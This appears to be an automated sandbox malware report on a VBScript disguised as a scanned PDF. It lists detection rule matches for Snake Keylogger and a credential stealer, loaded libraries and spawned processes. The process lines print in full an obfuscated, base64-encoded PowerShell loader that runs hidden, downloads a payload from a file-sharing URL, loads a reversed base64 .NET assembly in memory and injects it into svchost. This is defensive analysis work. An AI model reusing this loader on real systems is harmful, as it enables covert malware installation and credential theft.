Source: 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 1432, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 3232, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: svchost.exe PID: 7440, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: 13.2.svchost.exe.7990f20.2.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 13.2.svchost.exe.7990f20.2.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 13.2.svchost.exe.7990f20.2.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 13.2.svchost.exe.7d50000.4.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 13.2.svchost.exe.7d50000.4.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 13.2.svchost.exe.7d50000.4.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 13.2.svchost.exe.3374f2e.1.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 13.2.svchost.exe.3374f2e.1.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 13.2.svchost.exe.3374f2e.1.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 13.3.svchost.exe.326ff20.1.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 13.3.svchost.exe.326ff20.1.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.spre.troj.spyw.expl.evad.winVBS@10/7@7/5

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 13_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,

13_2_004019F0

Source: C:\Windows\SysWOW64\svchost.exe

13_2_004019F0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1456:120:WilError_03
Source: C:\Windows\SysWOW64\svchost.exe	Mutant created: NULL

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user~1\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Scan12112024,pdf.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: svchost.exe, 0000000D.00000002.2565948471.0000000005833000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565948471.0000000005873000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565948471.0000000005866000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565948471.0000000005841000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565948471.0000000005823000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Scan12112024,pdf.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user~1\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnYlpOaW1hZ2VVcmwgPSBSckhodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maWxlL2dldD9maWxla2V5PTJBJysnYV9iV285UmV1NCcrJzV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0JysnR3JuVElDZkZobVRLajNMQzZTUXRJY09jX1QzJysnNXcmcGtfdmlkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDRmIFJySDtiWk53ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O2JaTmltYWdlQnl0ZXMgPSBiWk53ZWJDbGllbnQuRG93bmxvYWREYXRhKGJaTmltYWdlVXJsKTtiWk5pbWFnZVRleHQgPScrJyBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhiWk5pbWFnZUJ5dGVzKTtiWk5zdGFydEZsYWcgPSBSckg8PEJBU0U2NF9TVEFSVD4+UnJIO2JaTmVuZEZsYWcgPSBSckg8PEJBU0U2NF9FTkQ+PlJySDtiWk5zdGFydEluZGV4ID0gJysnYlpOaW1hZ2VUZXh0LkluZGV4T2YoYlpOc3RhcnRGbGFnKTtiWk5lbmRJbmRleCA9IGJaTmltYWdlVGV4dC5JbmQnKydleE9mKGJaTmVuZEZsYScrJ2cpO2JaTnN0YXJ0SW5kZXggLWdlIDAgLWFuZCBiWk5lbmRJbmRleCAtZ3QgYlpOc3RhcicrJ3RJbicrJ2RlJysneDtiWk5zdGFydEluZGV4ICs9IGJaTnN0YXJ0RmxhZy5MZW5ndGg7YlpOYmFzZTY0TCcrJ2VuZ3RoID0gYlpOZW5kSW5kZXggJysnLSBiWk5zdGFyJysndEluZGV4O2JaTmJhc2U2NENvbW1hbmQgPSBiWk5pbWFnJysnZVRleHQuU3Vic3RyaScrJ25nKGJaTnN0YXJ0SW5kZXgsIGJaTmJhc2U2NExlbmd0aCk7YlpOYmFzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoYlpOYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFpBUiBGb3JFYWNoLU9iamVjdCB7IGJaTl8gJysnfSlbLTEuLi0oYlpOYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtiWk5jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKGJaTmJhc2U2JysnNFJldmVyc2VkKTtiWk5sb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoYlpOY29tJysnbWFuZEJ5dGVzKTtiWk52YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKFJySFZBSVJySCk7YlpOdmFpTWV0aG9kLkludm9rZShiWk5udWxsLCBAKFJySHR4dC5MU1NXUy9rbG8vdWUuaHN1cHdzcmVsbCcrJ29yLnN1cC8vOnB0dGhSckgsIFJySGRlc2F0aXZhZG9SckgsIFJyJysnSGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG8nKydScicrJ0gsIFJySDFSckgsIFJySHN2Y2hvc3RSckgsIFJySGRlc2F0aXYnKydhZG9SckgsIFJySGRlc2F0JysnaXZhZG9SckgsUnJIZGVzYXRpJysndmFkb1JySCxSckhkZXNhdGl2YWRvUnJILFJySGRlc2F0aXZhZG9SckgsUnJIMVJySCxSckhkZXNhdGl2YWRvUnJIKSk7JyktQ1JlcExBQ2UgKFtjSEFyXTgyK1tjSEFyXTExNCtbY0hBcl03MiksW2NIQXJdMzkgIC1yRVBsQUNFKFtjSEFyXTk4K1tjSEFyXTkwK1tjSEFyXTc4KSxbY0hBcl0zNiAtQ1JlcExBQ2UnWkFSJyxbY0hBcl0xMjQpIHwgLiAoICRwU2hvTWVbNF0rJFBzaG9NRVszNF0rJ1gnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('bZNimageUrl = RrHhttps://1017.filemail.com/api/file/get?filekey=2A'+'a_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T3'+'5w&pk_vid=fd4f614bb209c62c1730945176a0904f RrH;bZNwebClient = New-Object System.Net.WebClient;bZNimageBytes = bZNwebClient.DownloadData(bZNimageUrl);bZNimageText ='+' [System.Text.Encoding]::UTF8.GetString(bZNimageBytes);bZNstartFlag = RrH<<BASE64_START>>RrH;bZNendFlag = RrH<<BASE64_END>>RrH;bZNstartIndex = '+'bZNimageText.IndexOf(bZNstartFlag);bZNendIndex = bZNimageText.Ind'+'exOf(bZNendFla'+'g);bZNstartIndex -ge 0 -and bZNendIndex -gt bZNstar'+'tIn'+'de'+'x;bZNstartIndex += bZNstartFlag.Length;bZNbase64L'+'ength = bZNendIndex '+'- bZNstar'+'tIndex;bZNbase64Command = bZNimag'+'eText.Substri'+'ng(bZNstartIndex, bZNbase64Length);bZNbase64R'+'eversed = -join (bZNbase64Command.ToCharArray() ZAR ForEach-Object { bZN_ '+'})[-1..-(bZNbase64Command.Length)];bZNcommandBytes = [System.Convert]::FromBase64String(bZNbase6'+'4Reversed);bZNloadedAssembly = [System.Reflection.Assembly]::Load(bZNcom'+'mandBytes);bZNvaiMethod = [dnlib.IO.Home].GetMethod(RrHVAIRrH);bZNvaiMethod.Invoke(bZNnull, @(RrHtxt.LSSWS/klo/ue.hsupwsrell'+'or.sup//:ptthRrH, RrHdesativadoRrH, Rr'+'HdesativadoRrH, RrHdesativadoRrH, RrHdesativado'+'Rr'+'H, RrH1RrH, RrHsvchostRrH, RrHdesativ'+'adoRrH, RrHdesat'+'ivadoRrH,RrHdesati'+'vadoRrH,RrHdesativadoRrH,RrHdesativadoRrH,RrH1RrH,RrHdesativadoRrH));')-CRepLACe ([cHAr]82+[cHAr]114+[cHAr]72),[cHAr]39 -rEPlACE([cHAr]98+[cHAr]90+[cHAr]78),[cHAr]36 -CRepLACe'ZAR',[cHAr]124) \| . ( $pShoMe[4]+$PshoME[34]+'X')"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\SysWOW64\svchost.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user~1\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnYlpOaW1hZ2VVcmwgPSBSckhodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maWxlL2dldD9maWxla2V5PTJBJysnYV9iV285UmV1NCcrJzV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0JysnR3JuVElDZkZobVRLajNMQzZTUXRJY09jX1QzJysnNXcmcGtfdmlkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDRmIFJySDtiWk53ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O2JaTmltYWdlQnl0ZXMgPSBiWk53ZWJDbGllbnQuRG93bmxvYWREYXRhKGJaTmltYWdlVXJsKTtiWk5pbWFnZVRleHQgPScrJyBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhiWk5pbWFnZUJ5dGVzKTtiWk5zdGFydEZsYWcgPSBSckg8PEJBU0U2NF9TVEFSVD4+UnJIO2JaTmVuZEZsYWcgPSBSckg8PEJBU0U2NF9FTkQ+PlJySDtiWk5zdGFydEluZGV4ID0gJysnYlpOaW1hZ2VUZXh0LkluZGV4T2YoYlpOc3RhcnRGbGFnKTtiWk5lbmRJbmRleCA9IGJaTmltYWdlVGV4dC5JbmQnKydleE9mKGJaTmVuZEZsYScrJ2cpO2JaTnN0YXJ0SW5kZXggLWdlIDAgLWFuZCBiWk5lbmRJbmRleCAtZ3QgYlpOc3RhcicrJ3RJbicrJ2RlJysneDtiWk5zdGFydEluZGV4ICs9IGJaTnN0YXJ0RmxhZy5MZW5ndGg7YlpOYmFzZTY0TCcrJ2VuZ3RoID0gYlpOZW5kSW5kZXggJysnLSBiWk5zdGFyJysndEluZGV4O2JaTmJhc2U2NENvbW1hbmQgPSBiWk5pbWFnJysnZVRleHQuU3Vic3RyaScrJ25nKGJaTnN0YXJ0SW5kZXgsIGJaTmJhc2U2NExlbmd0aCk7YlpOYmFzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoYlpOYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFpBUiBGb3JFYWNoLU9iamVjdCB7IGJaTl8gJysnfSlbLTEuLi0oYlpOYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtiWk5jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKGJaTmJhc2U2JysnNFJldmVyc2VkKTtiWk5sb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoYlpOY29tJysnbWFuZEJ5dGVzKTtiWk52YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKFJySFZBSVJySCk7YlpOdmFpTWV0aG9kLkludm9rZShiWk5udWxsLCBAKFJySHR4dC5MU1NXUy9rbG8vdWUuaHN1cHdzcmVsbCcrJ29yLnN1cC8vOnB0dGhSckgsIFJySGRlc2F0aXZhZG9SckgsIFJyJysnSGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG8nKydScicrJ0gsIFJySDFSckgsIFJySHN2Y2hvc3RSckgsIFJySGRlc2F0aXYnKydhZG9SckgsIFJySGRlc2F0JysnaXZhZG9SckgsUnJIZGVzYXRpJysndmFkb1JySCxSckhkZXNhdGl2YWRvUnJILFJySGRlc2F0aXZhZG9SckgsUnJIMVJySCxSckhkZXNhdGl2YWRvUnJIKSk7JyktQ1JlcExBQ2UgKFtjSEFyXTgyK1tjSEFyXTExNCtbY0hBcl03MiksW2NIQXJdMzkgIC1yRVBsQUNFKFtjSEFyXTk4K1tjSEFyXTkwK1tjSEFyXTc4KSxbY0hBcl0zNiAtQ1JlcExBQ2UnWkFSJyxbY0hBcl0xMjQpIHwgLiAoICRwU2hvTWVbNF0rJFBzaG9NRVszNF0rJ1gnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('bZNimageUrl = RrHhttps://1017.filemail.com/api/file/get?filekey=2A'+'a_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T3'+'5w&pk_vid=fd4f614bb209c62c1730945176a0904f RrH;bZNwebClient = New-Object System.Net.WebClient;bZNimageBytes = bZNwebClient.DownloadData(bZNimageUrl);bZNimageText ='+' [System.Text.Encoding]::UTF8.GetString(bZNimageBytes);bZNstartFlag = RrH<<BASE64_START>>RrH;bZNendFlag = RrH<<BASE64_END>>RrH;bZNstartIndex = '+'bZNimageText.IndexOf(bZNstartFlag);bZNendIndex = bZNimageText.Ind'+'exOf(bZNendFla'+'g);bZNstartIndex -ge 0 -and bZNendIndex -gt bZNstar'+'tIn'+'de'+'x;bZNstartIndex += bZNstartFlag.Length;bZNbase64L'+'ength = bZNendIndex '+'- bZNstar'+'tIndex;bZNbase64Command = bZNimag'+'eText.Substri'+'ng(bZNstartIndex, bZNbase64Length);bZNbase64R'+'eversed = -join (bZNbase64Command.ToCharArray() ZAR ForEach-Object { bZN_ '+'})[-1..-(bZNbase64Command.Length)];bZNcommandBytes = [System.Convert]::FromBase64String(bZNbase6'+'4Reversed);bZNloadedAssembly = [System.Reflection.Assembly]::Load(bZNcom'+'mandBytes);bZNvaiMethod = [dnlib.IO.Home].GetMethod(RrHVAIRrH);bZNvaiMethod.Invoke(bZNnull, @(RrHtxt.LSSWS/klo/ue.hsupwsrell'+'or.sup//:ptthRrH, RrHdesativadoRrH, Rr'+'HdesativadoRrH, RrHdesativadoRrH, RrHdesativado'+'Rr'+'H, RrH1RrH, RrHsvchostRrH, RrHdesativ'+'adoRrH, RrHdesat'+'ivadoRrH,RrHdesati'+'vadoRrH,RrHdesativadoRrH,RrHdesativadoRrH,RrH1RrH,RrHdesativadoRrH));')-CRepLACe ([cHAr]82+[cHAr]114+[cHAr]72),[cHAr]39 -rEPlACE([cHAr]98+[cHAr]90+[cHAr]78),[cHAr]36 -CRepLACe'ZAR',[cHAr]124) \| . ( $pShoMe[4]+$PshoME[34]+'X')"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\SysWOW64\svchost.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msdart.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttpcom.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
